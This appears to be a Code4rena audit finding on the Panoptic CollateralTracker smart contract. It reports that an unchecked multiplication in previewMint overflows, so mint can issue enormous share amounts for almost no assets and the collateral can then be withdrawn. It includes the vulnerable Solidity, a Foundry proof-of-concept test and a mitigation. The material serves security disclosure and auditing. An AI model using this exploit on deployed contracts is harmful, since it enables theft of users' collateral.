Overflow in CollateralTracker allows minting shares for free

criticalCode4rena

Lines of code

https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/CollateralTracker.sol#L478 https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/CollateralTracker.sol#L461-L467

Vulnerability details

Impact

Malicious actors can mint huge amounts of shares for free and then withdraw all collateral.

Proof of Concept

In the mint function user-controlled shares parameter goes right away to the previewMint function which then calculates required assets in unchecked block. If the shares value is high enough, overflow in shares * DECIMALS will occur, and assets will be very low.

function previewMint(uint shares) public view returns (uint assets) {
 unchecked {
 assets = Math.mulDivRoundingUp(
 shares * DECIMALS, totalAssets(), totalSupply * (DECIMALS - COMMISSION_FEE)
 );
 }
}

function mint(uint shares, address receiver) external returns (uint assets) {
 assets = previewMint(shares);
 if (assets > type(uint104).max) revert Errors.DepositTooLarge();
 ...
}

Insert the following snippet to ColalteralTracker.t.sol for coded PoC:

function test_poc1(uint256 x) public {
 _initWorld(x);
 _grantTokens(Bob);

 vm.startPrank(Bob);

 uint shares = type(uint).max / 10000 + 1;
 IERC20Partial(token0).approve(address(collateralToken0), type(uint256).max);
 uint256 returnedAssets0 = collateralToken0.mint(shares, Bob);

 assertEq(shares, collateralToken0.balanceOf(Bob));
 assertEq(returnedAssets0, 1);
}

Tools Used

Manual review

Recommended Mitigation Steps

Remove unchecked block

function maxMint(address) external view returns (uint maxShares) {
 return (convertToShares(type(uint104).max) * DECIMALS) / (DECIMALS + COMMISSION_FEE);
}

Assessed type

Under/Overflow